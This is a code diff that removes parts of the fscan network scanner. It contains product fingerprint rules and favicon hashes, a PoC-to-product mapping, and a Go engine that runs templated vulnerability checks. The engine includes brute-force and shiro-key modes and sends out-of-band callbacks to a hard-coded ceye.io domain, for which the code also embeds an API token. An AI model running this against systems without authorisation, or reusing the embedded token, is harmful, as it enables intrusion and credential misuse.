{"天融信 TopApp-LB 负载均衡系统", "code", "(TopApp-LB 负载均衡系统)"},
|
||||
{"中新金盾信息安全管理系统", "code", "(中新金盾信息安全管理系统|中新网络信息安全股份有限公司)"},
|
||||
{"好视通", "code", "(深圳银澎云计算有限公司|itunes.apple.com/us/app/id549407870|hao-shi-tong-yun-hui-yi-yuan)"},
|
||||
{"蓝海卓越计费管理系统", "code", "(蓝海卓越计费管理系统|星锐蓝海网络科技有限公司)"},
|
||||
{"和信创天云桌面系统", "code", "(和信下一代云桌面VENGD|/vesystem/index.php)"},
|
||||
{"金山", "code", "(北京猎鹰安全科技有限公司|金山终端安全系统V9.0Web控制台|北京金山安全管理系统技术有限公司|金山V8)"},
|
||||
{"WIFISKY-7层流控路由器", "code", "(深圳市领空技术有限公司|WIFISKY 7层流控路由器)"},
|
||||
{"MetInfo-米拓建站", "code", "(MetInfo|/skin/style/metinfo.css|/skin/style/metinfo-v2.css)"},
|
||||
{"IBM-Lotus-Domino", "code", "(/mailjump.nsf|/domcfg.nsf|/names.nsf|/homepage.nsf)"},
|
||||
{"APACHE-kylin", "code", "(url=kylin)"},
|
||||
{"C-Lodop打印服务系统", "code", "(/CLodopfuncs.js|www.c-lodop.com)"},
|
||||
{"ATLASSIAN-Confluence", "code", "(Atlassian Confluence)"},
|
||||
{"HFS", "code", "(href=\"http://www.rejetto.com/hfs/)"},
|
||||
{"Jellyfin", "code", "(content=\"http://jellyfin.org\")"},
|
||||
{"FIT2CLOUD-JumpServer-堡垒机", "code", "(<title>JumpServer</title>)"},
|
||||
{"Alibaba Nacos", "code", "(<title>Nacos</title>)"},
|
||||
{"Nagios", "headers", "(nagios admin)"},
|
||||
{"Pulse Connect Secure", "code", "(/dana-na/imgs/space.gif)"},
|
||||
{"h5ai", "code", "(powered by h5ai)"},
|
||||
{"jeesite", "cookie", "(jeesite.session.id)"},
|
||||
{"拓尔思SSO", "cookie", "(trsidsssosessionid)"},
|
||||
{"拓尔思WCMv7/6", "cookie", "(com.trs.idm.coSessionId)"},
|
||||
{"天融信脆弱性扫描与管理系统", "code", "(/js/report/horizontalReportPanel.js)"},
|
||||
{"天融信网络审计系统", "code", "(onclick=dlg_download())"},
|
||||
{"天融信日志收集与分析系统", "code", "(天融信日志收集与分析系统)"},
|
||||
{"URP教务系统", "code", "(北京清元优软科技有限公司)"},
|
||||
{"科来RAS", "code", "(科来软件 版权所有|i18ninit.min.js)"},
|
||||
{"正方OA", "code", "(zfoausername)"},
|
||||
{"希尔OA", "code", "(/heeroa/login.do)"},
|
||||
{"泛普建筑工程施工OA", "code", "(/dwr/interface/LoginService.js)"},
|
||||
{"中望OA", "code", "(/IMAGES/default/first/xtoa_logo.png|/app_qjuserinfo/qjuserinfoadd.jsp)"},
|
||||
{"海天OA", "code", "(HTVOS.js)"},
|
||||
{"信达OA", "code", "(http://www.xdoa.cn</a>)"},
|
||||
{"任我行CRM", "code", "(CRM_LASTLOGINUSERKEY)"},
|
||||
{"Spammark邮件信息安全网关", "code", "(/cgi-bin/spammark?empty=1)"},
|
||||
{"winwebmail", "code", "(WinWebMail Server|images/owin.css)"},
|
||||
{"浪潮政务系统", "code", "(LangChao.ECGAP.OutPortal|OnlineQuery/QueryList.aspx)"},
|
||||
{"天融信防火墙", "code", "(/cgi/maincgi.cgi)"},
|
||||
{"网神防火墙", "code", "(css/lsec/login.css)"},
|
||||
{"帕拉迪统一安全管理和综合审计系统", "code", "(module/image/pldsec.css)"},
|
||||
{"蓝盾BDWebGuard", "code", "(BACKGROUND: url(images/loginbg.jpg) #e5f1fc)"},
|
||||
{"Huawei SMC", "code", "(Script/SmcScript.js?version=)"},
|
||||
{"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/common)"},
|
||||
{"activemq", "code", "(activemq_logo|Manage ActiveMQ broker)"},
|
||||
{"锐捷网络", "code", "(static/img/title.ico|support.ruijie.com.cn|Ruijie - NBR|eg.login.loginBtn)"},
|
||||
{"禅道", "code", "(/theme/default/images/main/zt-logo.png|zentaosid)"},
|
||||
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>|<TITLE>Error 404--Not Found</TITLE>|Welcome to Weblogic Application Server|<title>Oracle WebLogic Server 管理控制台</title>)"},
|
||||
{"weblogic", "headers", "(WebLogic)"},
|
||||
{"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif|/seeyon/common/)"},
|
||||
{"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"},
|
||||
{"深信服ssl-vpn", "code", "(login_psw.csp|loginPageSP/loginPrivacy.js|/por/login_psw.csp)"},
|
||||
{"Struts2", "code", "(org.apache.struts2|Struts Problem Report|struts.devMode|struts-tags|There is no Action mapped for namespace)"},
|
||||
{"泛微OA", "code", "(/spa/portal/public/index.js|wui/theme/ecology8/page/images/login/username_wev8.png|/wui/index.html#/?logintype=1)"},
|
||||
{"Swagger UI", "code", "(/swagger-ui.css|swagger-ui-bundle.js|swagger-ui-standalone-preset.js)"},
|
||||
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js|HTML5/content/themes/kdcss.min.css|/ClientBin/Kingdee.BOS.XPF.App.xap)"},
|
||||
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/icon.css|sys/ui/extend/theme/default/style/profile.css)"},
|
||||
{"用友NC", "code", "(Yonyou UAP|YONYOU NC|/Client/Uclient/UClient.dmg|logo/images/ufida_nc.png|iufo/web/css/menu.css|/System/Login/Login.asp?AppID=|/nc/servlet/nc.ui.iufo.login.Index)"},
|
||||
{"用友IUFO", "code", "(iufo/web/css/menu.css)"},
|
||||
{"TELEPORT堡垒机", "code", "(/static/plugins/blur/background-blur.js)"},
|
||||
{"JEECMS", "code", "(/r/cms/www/red/js/common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"},
|
||||
{"CMS", "code", "(Powered by .*CMS)"},
|
||||
{"目录遍历", "code", "(Directory listing for /)"},
|
||||
{"向日葵", "code", "({\"success\":false,\"msg\":\"Verification failure\"})"},
|
||||
{"Kubernetes", "code", "(Kubernetes Dashboard</title>|Kubernetes Enterprise Manager|Mirantis Kubernetes Engine|Kubernetes Resource Report)"},
|
||||
{"WordPress", "code", "(/wp-login.php?action=lostpassword|WordPress</title>)"},
|
||||
{"RabbitMQ", "code", "(RabbitMQ Management)"},
|
||||
{"dubbo", "headers", "(Basic realm=\"dubbo\")"},
|
||||
{"Spring env", "code", "(logback)"},
|
||||
{"ueditor", "code", "(ueditor.all.js|UE.getEditor)"},
|
||||
{"亿邮电子邮件系统", "code", "(亿邮电子邮件系统|亿邮邮件整体解决方案)"},
|
||||
}
|
||||
|
||||
var Md5Datas = []Md5Data{
|
||||
{"BIG-IP", "04d9541338e525258daf47cc844d59f3"},
|
||||
{"蓝凌OA", "302464c3f6207d57240649926cfc7bd4"},
|
||||
{"JBOSS", "799f70b71314a7508326d1d2f68f7519"},
|
||||
{"锐捷网络", "d8d7c9138e93d43579ebf2e384745ba8"},
|
||||
{"锐捷网络", "9c21df9129aeec032df8ac15c84e050d"},
|
||||
{"锐捷网络", "a45883b12d753bc87aff5bddbef16ab3"},
|
||||
{"深信服edr", "0b24d4d5c7d300d50ee1cd96059a9e85"},
|
||||
{"致远OA", "cdc85452665e7708caed3009ecb7d4e2"},
|
||||
{"致远OA", "17ac348fcce0b320e7bfab3fe2858dfa"},
|
||||
{"致远OA", "57f307ad3764553df84e7b14b7a85432"},
|
||||
{"致远OA", "3c8df395ec2cbd72782286d18a286a9a"},
|
||||
{"致远OA", "2f761c27b6b7f9386bbd61403635dc42"},
|
||||
{"齐治堡垒机", "48ee373f098d8e96e53b7dd778f09ff4"},
|
||||
{"SpringBoot", "0488faca4c19046b94d07c3ee83cf9d6"},
|
||||
{"ThinkPHP", "f49c4a4bde1eec6c0b80c2277c76e3db"},
|
||||
{"通达OA", "ed0044587917c76d08573577c8b72883"},
|
||||
{"泛微E-mobile", "41eca7a9245394106a09b2534d8030df"},
|
||||
{"泛微OA", "c27547e27e1d2c7514545cd8d5988946"},
|
||||
{"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"},
|
||||
{"泛微OA", "281348dd57383c1f214ffb8aed3a1210"},
|
||||
{"GitLab", "85c754581e1d4b628be5b7712c042224"},
|
||||
{"Hikvision-视频监控", "89b932fcc47cf4ca3faadb0cfdef89cf"},
|
||||
{"华夏erp", "c68b15c45cf80115a943772f7d0028a6"},
|
||||
{"OpenSNS", "08711abfb016a55c0e84f7b54bef5632"},
|
||||
{"MetInfo-米拓建站", "2a9541b5c2225ed2f28734c0d75e456f"},
|
||||
{"IBM-Lotus-Domino", "36c1002bb579edf52a472b9d2e39bb50"},
|
||||
{"IBM-Lotus-Domino", "639b61409215d770a99667b446c80ea1"},
|
||||
{"ATLASSIAN-Confluence", "b91d19259cf480661ef93b67beb45234"},
|
||||
{"activemq", "05664fb0c7afcd6436179437e31f3aa6"},
|
||||
{"coremail", "ad74ff8f9a2f630fc2c5e6b3aa0a5cb8"},
|
||||
}
|
||||
|
||||
var PocDatas = []PocData{
|
||||
{"致远OA", "seeyon"},
|
||||
{"泛微OA", "weaver"},
|
||||
{"通达OA", "tongda"},
|
||||
{"蓝凌OA", "landray"},
|
||||
{"ThinkPHP", "thinkphp"},
|
||||
{"Nexus", "nexus"},
|
||||
{"齐治堡垒机", "qizhi"},
|
||||
{"weaver-ebridge", "weaver-ebridge"},
|
||||
{"weblogic", "weblogic"},
|
||||
{"zabbix", "zabbix"},
|
||||
{"VMware vSphere", "vmware"},
|
||||
{"Jboss", "jboss"},
|
||||
{"用友", "yongyou"},
|
||||
{"用友IUFO", "yongyou"},
|
||||
{"coremail", "coremail"},
|
||||
{"金山", "kingsoft"},
|
||||
}
|
||||
@@ -1,549 +0,0 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"fmt"
|
||||
"github.com/google/cel-go/cel"
|
||||
"github.com/shadow1ng/fscan/WebScan/info"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"math/rand"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
ceyeApi = "a78a1cb49d91fe09e01876078d1868b2"
|
||||
ceyeDomain = "7wtusr.ceye.io"
|
||||
)
|
||||
|
||||
type Task struct {
|
||||
Req *http.Request
|
||||
Poc *Poc
|
||||
}
|
||||
|
||||
func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
|
||||
tasks := make(chan Task)
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < workers; i++ {
|
||||
go func() {
|
||||
for task := range tasks {
|
||||
isVul, _, name := executePoc(task.Req, task.Poc)
|
||||
if isVul {
|
||||
result := fmt.Sprintf("[+] PocScan %s %s %s", task.Req.URL, task.Poc.Name, name)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
wg.Done()
|
||||
}
|
||||
}()
|
||||
}
|
||||
for _, poc := range pocs {
|
||||
task := Task{
|
||||
Req: req,
|
||||
Poc: poc,
|
||||
}
|
||||
wg.Add(1)
|
||||
tasks <- task
|
||||
}
|
||||
wg.Wait()
|
||||
close(tasks)
|
||||
}
|
||||
|
||||
func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
||||
c := NewEnvOption()
|
||||
c.UpdateCompileOptions(p.Set)
|
||||
if len(p.Sets) > 0 {
|
||||
var setMap StrMap
|
||||
for _, item := range p.Sets {
|
||||
if len(item.Value) > 0 {
|
||||
setMap = append(setMap, StrItem{item.Key, item.Value[0]})
|
||||
} else {
|
||||
setMap = append(setMap, StrItem{item.Key, ""})
|
||||
}
|
||||
}
|
||||
c.UpdateCompileOptions(setMap)
|
||||
}
|
||||
env, err := NewEnv(&c)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] %s environment creation error: %s\n", p.Name, err)
|
||||
return false, err, ""
|
||||
}
|
||||
req, err := ParseRequest(oReq)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] %s ParseRequest error: %s\n", p.Name, err)
|
||||
return false, err, ""
|
||||
}
|
||||
variableMap := make(map[string]interface{})
|
||||
defer func() { variableMap = nil }()
|
||||
variableMap["request"] = req
|
||||
for _, item := range p.Set {
|
||||
k, expression := item.Key, item.Value
|
||||
if expression == "newReverse()" {
|
||||
if !common.DnsLog {
|
||||
return false, nil, ""
|
||||
}
|
||||
variableMap[k] = newReverse()
|
||||
continue
|
||||
}
|
||||
err, _ = evalset(env, variableMap, k, expression)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] %s evalset error: %v\n", p.Name, err)
|
||||
}
|
||||
}
|
||||
success := false
|
||||
//爆破模式,比如tomcat弱口令
|
||||
if len(p.Sets) > 0 {
|
||||
success, err = clusterpoc(oReq, p, variableMap, req, env)
|
||||
return success, nil, ""
|
||||
}
|
||||
|
||||
DealWithRule := func(rule Rules) (bool, error) {
|
||||
Headers := cloneMap(rule.Headers)
|
||||
var (
|
||||
flag, ok bool
|
||||
)
|
||||
for k1, v1 := range variableMap {
|
||||
_, isMap := v1.(map[string]string)
|
||||
if isMap {
|
||||
continue
|
||||
}
|
||||
value := fmt.Sprintf("%v", v1)
|
||||
for k2, v2 := range Headers {
|
||||
if !strings.Contains(v2, "{{"+k1+"}}") {
|
||||
continue
|
||||
}
|
||||
Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
|
||||
}
|
||||
rule.Path = strings.ReplaceAll(rule.Path, "{{"+k1+"}}", value)
|
||||
rule.Body = strings.ReplaceAll(rule.Body, "{{"+k1+"}}", value)
|
||||
}
|
||||
|
||||
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
|
||||
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
|
||||
} else {
|
||||
req.Url.Path = rule.Path
|
||||
}
|
||||
// 某些poc没有区分path和query,需要处理
|
||||
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
|
||||
//req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
|
||||
|
||||
newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), strings.NewReader(rule.Body))
|
||||
if err != nil {
|
||||
//fmt.Println("[-] newRequest error: ",err)
|
||||
return false, err
|
||||
}
|
||||
newRequest.Header = oReq.Header.Clone()
|
||||
for k, v := range Headers {
|
||||
newRequest.Header.Set(k, v)
|
||||
}
|
||||
Headers = nil
|
||||
resp, err := DoRequest(newRequest, rule.FollowRedirects)
|
||||
newRequest = nil
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
variableMap["response"] = resp
|
||||
// 先判断响应页面是否匹配search规则
|
||||
if rule.Search != "" {
|
||||
result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
|
||||
if len(result) > 0 { // 正则匹配成功
|
||||
for k, v := range result {
|
||||
variableMap[k] = v
|
||||
}
|
||||
} else {
|
||||
return false, nil
|
||||
}
|
||||
}
|
||||
out, err := Evaluate(env, rule.Expression, variableMap)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
//如果false不继续执行后续rule
|
||||
// 如果最后一步执行失败,就算前面成功了最终依旧是失败
|
||||
flag, ok = out.Value().(bool)
|
||||
if !ok {
|
||||
flag = false
|
||||
}
|
||||
return flag, nil
|
||||
}
|
||||
|
||||
DealWithRules := func(rules []Rules) bool {
|
||||
successFlag := false
|
||||
for _, rule := range rules {
|
||||
flag, err := DealWithRule(rule)
|
||||
if err != nil || !flag { //如果false不继续执行后续rule
|
||||
successFlag = false // 如果其中一步为flag,则直接break
|
||||
break
|
||||
}
|
||||
successFlag = true
|
||||
}
|
||||
return successFlag
|
||||
}
|
||||
|
||||
if len(p.Rules) > 0 {
|
||||
success = DealWithRules(p.Rules)
|
||||
} else {
|
||||
for _, item := range p.Groups {
|
||||
name, rules := item.Key, item.Value
|
||||
success = DealWithRules(rules)
|
||||
if success {
|
||||
return success, nil, name
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return success, nil, ""
|
||||
}
|
||||
|
||||
func doSearch(re string, body string) map[string]string {
|
||||
r, err := regexp.Compile(re)
|
||||
if err != nil {
|
||||
fmt.Println("[-] regexp.Compile error: ", err)
|
||||
return nil
|
||||
}
|
||||
result := r.FindStringSubmatch(body)
|
||||
names := r.SubexpNames()
|
||||
if len(result) > 1 && len(names) > 1 {
|
||||
paramsMap := make(map[string]string)
|
||||
for i, name := range names {
|
||||
if i > 0 && i <= len(result) {
|
||||
if strings.HasPrefix(re, "Set-Cookie:") && strings.Contains(name, "cookie") {
|
||||
paramsMap[name] = optimizeCookies(result[i])
|
||||
} else {
|
||||
paramsMap[name] = result[i]
|
||||
}
|
||||
}
|
||||
}
|
||||
return paramsMap
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func optimizeCookies(rawCookie string) (output string) {
|
||||
// Parse the cookies
|
||||
parsedCookie := strings.Split(rawCookie, "; ")
|
||||
for _, c := range parsedCookie {
|
||||
nameVal := strings.Split(c, "=")
|
||||
if len(nameVal) >= 2 {
|
||||
switch strings.ToLower(nameVal[0]) {
|
||||
case "expires", "max-age", "path", "domain", "version", "comment", "secure", "samesite", "httponly":
|
||||
continue
|
||||
}
|
||||
output += fmt.Sprintf("%s=%s; ", nameVal[0], strings.Join(nameVal[1:], "="))
|
||||
}
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func newReverse() *Reverse {
|
||||
letters := "1234567890abcdefghijklmnopqrstuvwxyz"
|
||||
randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
|
||||
sub := RandomStr(randSource, letters, 8)
|
||||
//if true {
|
||||
// //默认不开启dns解析
|
||||
// return &Reverse{}
|
||||
//}
|
||||
urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain)
|
||||
u, _ := url.Parse(urlStr)
|
||||
return &Reverse{
|
||||
Url: urlStr,
|
||||
Domain: u.Hostname(),
|
||||
Ip: u.Host,
|
||||
IsDomainNameServer: false,
|
||||
}
|
||||
}
|
||||
|
||||
func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
|
||||
var strMap StrMap
|
||||
var tmpnum int
|
||||
for i, rule := range p.Rules {
|
||||
if !isFuzz(rule, p.Sets) {
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if success {
|
||||
continue
|
||||
} else {
|
||||
return false, err
|
||||
}
|
||||
}
|
||||
setsMap := Combo(p.Sets)
|
||||
ruleHash := make(map[string]struct{})
|
||||
look:
|
||||
for j, item := range setsMap {
|
||||
//shiro默认只跑10key
|
||||
if p.Name == "poc-yaml-shiro-key" && !common.PocFull && j >= 10 {
|
||||
if item[1] == "cbc" {
|
||||
continue
|
||||
} else {
|
||||
if tmpnum == 0 {
|
||||
tmpnum = j
|
||||
}
|
||||
if j-tmpnum >= 10 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
rule1 := cloneRules(rule)
|
||||
var flag1 bool
|
||||
var tmpMap StrMap
|
||||
var payloads = make(map[string]interface{})
|
||||
var tmpexpression string
|
||||
for i, one := range p.Sets {
|
||||
key, expression := one.Key, item[i]
|
||||
if key == "payload" {
|
||||
tmpexpression = expression
|
||||
}
|
||||
_, output := evalset1(env, variableMap, key, expression)
|
||||
payloads[key] = output
|
||||
}
|
||||
for _, one := range p.Sets {
|
||||
flag := false
|
||||
key := one.Key
|
||||
value := fmt.Sprintf("%v", payloads[key])
|
||||
for k2, v2 := range rule1.Headers {
|
||||
if strings.Contains(v2, "{{"+key+"}}") {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+key+"}}", value)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
if strings.Contains(rule1.Path, "{{"+key+"}}") {
|
||||
rule1.Path = strings.ReplaceAll(rule1.Path, "{{"+key+"}}", value)
|
||||
flag = true
|
||||
}
|
||||
if strings.Contains(rule1.Body, "{{"+key+"}}") {
|
||||
rule1.Body = strings.ReplaceAll(rule1.Body, "{{"+key+"}}", value)
|
||||
flag = true
|
||||
}
|
||||
if flag {
|
||||
flag1 = true
|
||||
if key == "payload" {
|
||||
var flag2 bool
|
||||
for k, v := range variableMap {
|
||||
if strings.Contains(tmpexpression, k) {
|
||||
flag2 = true
|
||||
tmpMap = append(tmpMap, StrItem{k, fmt.Sprintf("%v", v)})
|
||||
}
|
||||
}
|
||||
if flag2 {
|
||||
continue
|
||||
}
|
||||
}
|
||||
tmpMap = append(tmpMap, StrItem{key, value})
|
||||
}
|
||||
}
|
||||
if !flag1 {
|
||||
continue
|
||||
}
|
||||
has := md5.Sum([]byte(fmt.Sprintf("%v", rule1)))
|
||||
md5str := fmt.Sprintf("%x", has)
|
||||
if _, ok := ruleHash[md5str]; ok {
|
||||
continue
|
||||
}
|
||||
ruleHash[md5str] = struct{}{}
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule1)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if success {
|
||||
if rule.Continue {
|
||||
if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" {
|
||||
common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name))
|
||||
} else {
|
||||
common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, tmpMap))
|
||||
}
|
||||
continue
|
||||
}
|
||||
strMap = append(strMap, tmpMap...)
|
||||
if i == len(p.Rules)-1 {
|
||||
common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap))
|
||||
//防止后续继续打印poc成功信息
|
||||
return false, nil
|
||||
}
|
||||
break look
|
||||
}
|
||||
}
|
||||
if !success {
|
||||
break
|
||||
}
|
||||
if rule.Continue {
|
||||
//防止后续继续打印poc成功信息
|
||||
return false, nil
|
||||
}
|
||||
}
|
||||
return success, nil
|
||||
}
|
||||
|
||||
func isFuzz(rule Rules, Sets ListMap) bool {
|
||||
for _, one := range Sets {
|
||||
key := one.Key
|
||||
for _, v := range rule.Headers {
|
||||
if strings.Contains(v, "{{"+key+"}}") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
if strings.Contains(rule.Path, "{{"+key+"}}") {
|
||||
return true
|
||||
}
|
||||
if strings.Contains(rule.Body, "{{"+key+"}}") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func Combo(input ListMap) (output [][]string) {
|
||||
if len(input) > 1 {
|
||||
output = Combo(input[1:])
|
||||
output = MakeData(output, input[0].Value)
|
||||
} else {
|
||||
for _, i := range input[0].Value {
|
||||
output = append(output, []string{i})
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func MakeData(base [][]string, nextData []string) (output [][]string) {
|
||||
for i := range base {
|
||||
for _, j := range nextData {
|
||||
output = append(output, append([]string{j}, base[i]...))
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) {
|
||||
for k1, v1 := range variableMap {
|
||||
_, isMap := v1.(map[string]string)
|
||||
if isMap {
|
||||
continue
|
||||
}
|
||||
value := fmt.Sprintf("%v", v1)
|
||||
for k2, v2 := range rule.Headers {
|
||||
if strings.Contains(v2, "{{"+k1+"}}") {
|
||||
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
|
||||
}
|
||||
}
|
||||
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
|
||||
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
|
||||
}
|
||||
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
|
||||
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
|
||||
} else {
|
||||
req.Url.Path = rule.Path
|
||||
}
|
||||
// 某些poc没有区分path和query,需要处理
|
||||
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
|
||||
//req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
|
||||
//
|
||||
newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
|
||||
if err != nil {
|
||||
//fmt.Println("[-] newRequest error:",err)
|
||||
return false, err
|
||||
}
|
||||
newRequest.Header = oReq.Header.Clone()
|
||||
for k, v := range rule.Headers {
|
||||
newRequest.Header.Set(k, v)
|
||||
}
|
||||
resp, err := DoRequest(newRequest, rule.FollowRedirects)
|
||||
newRequest = nil
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
variableMap["response"] = resp
|
||||
// 先判断响应页面是否匹配search规则
|
||||
if rule.Search != "" {
|
||||
result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
|
||||
if result != nil && len(result) > 0 { // 正则匹配成功
|
||||
for k, v := range result {
|
||||
variableMap[k] = v
|
||||
}
|
||||
//return false, nil
|
||||
} else {
|
||||
return false, nil
|
||||
}
|
||||
}
|
||||
out, err := Evaluate(env, rule.Expression, variableMap)
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "Syntax error") {
|
||||
fmt.Println(rule.Expression, err)
|
||||
}
|
||||
return false, err
|
||||
}
|
||||
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
|
||||
if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
|
||||
return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败
|
||||
}
|
||||
return true, err
|
||||
}
|
||||
|
||||
func cloneRules(tags Rules) Rules {
|
||||
cloneTags := Rules{}
|
||||
cloneTags.Method = tags.Method
|
||||
cloneTags.Path = tags.Path
|
||||
cloneTags.Body = tags.Body
|
||||
cloneTags.Search = tags.Search
|
||||
cloneTags.FollowRedirects = tags.FollowRedirects
|
||||
cloneTags.Expression = tags.Expression
|
||||
cloneTags.Headers = cloneMap(tags.Headers)
|
||||
return cloneTags
|
||||
}
|
||||
|
||||
func cloneMap(tags map[string]string) map[string]string {
|
||||
cloneTags := make(map[string]string)
|
||||
for k, v := range tags {
|
||||
cloneTags[k] = v
|
||||
}
|
||||
return cloneTags
|
||||
}
|
||||
|
||||
func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) {
|
||||
out, err := Evaluate(env, expression, variableMap)
|
||||
if err != nil {
|
||||
variableMap[k] = expression
|
||||
} else {
|
||||
switch value := out.Value().(type) {
|
||||
case *UrlType:
|
||||
variableMap[k] = UrlTypeToString(value)
|
||||
case int64:
|
||||
variableMap[k] = int(value)
|
||||
default:
|
||||
variableMap[k] = fmt.Sprintf("%v", out)
|
||||
}
|
||||
}
|
||||
return err, fmt.Sprintf("%v", variableMap[k])
|
||||
}
|
||||
|
||||
func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) {
|
||||
out, err := Evaluate(env, expression, variableMap)
|
||||
if err != nil {
|
||||
variableMap[k] = expression
|
||||
} else {
|
||||
variableMap[k] = fmt.Sprintf("%v", out)
|
||||
}
|
||||
return err, fmt.Sprintf("%v", variableMap[k])
|
||||
}
|
||||
|
||||
func CheckInfoPoc(infostr string) string {
|
||||
for _, poc := range info.PocDatas {
|
||||
if strings.Compare(poc.Name, infostr) == 0 {
|
||||
return poc.Alias
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func GetHeader(header map[string]string) (output string) {
|
||||
for name, values := range header {
|
||||
line := fmt.Sprintf("%s: %s\n", name, values)
|
||||
output = output + line
|
||||
}
|
||||
output = output + "\r\n"
|
||||
return
|
||||
}
|
||||
@@ -1,255 +0,0 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"embed"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"golang.org/x/net/proxy"
|
||||
"gopkg.in/yaml.v2"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
Client *http.Client
|
||||
ClientNoRedirect *http.Client
|
||||
dialTimout = 5 * time.Second
|
||||
keepAlive = 5 * time.Second
|
||||
)
|
||||
|
||||
func Inithttp(PocInfo common.PocInfo) {
|
||||
//PocInfo.Proxy = "http://127.0.0.1:8080"
|
||||
err := InitHttpClient(common.PocNum, common.Proxy, time.Duration(common.WebTimeout)*time.Second)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
|
||||
type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)
|
||||
dialer := &net.Dialer{
|
||||
Timeout: dialTimout,
|
||||
KeepAlive: keepAlive,
|
||||
}
|
||||
|
||||
tr := &http.Transport{
|
||||
DialContext: dialer.DialContext,
|
||||
MaxConnsPerHost: 5,
|
||||
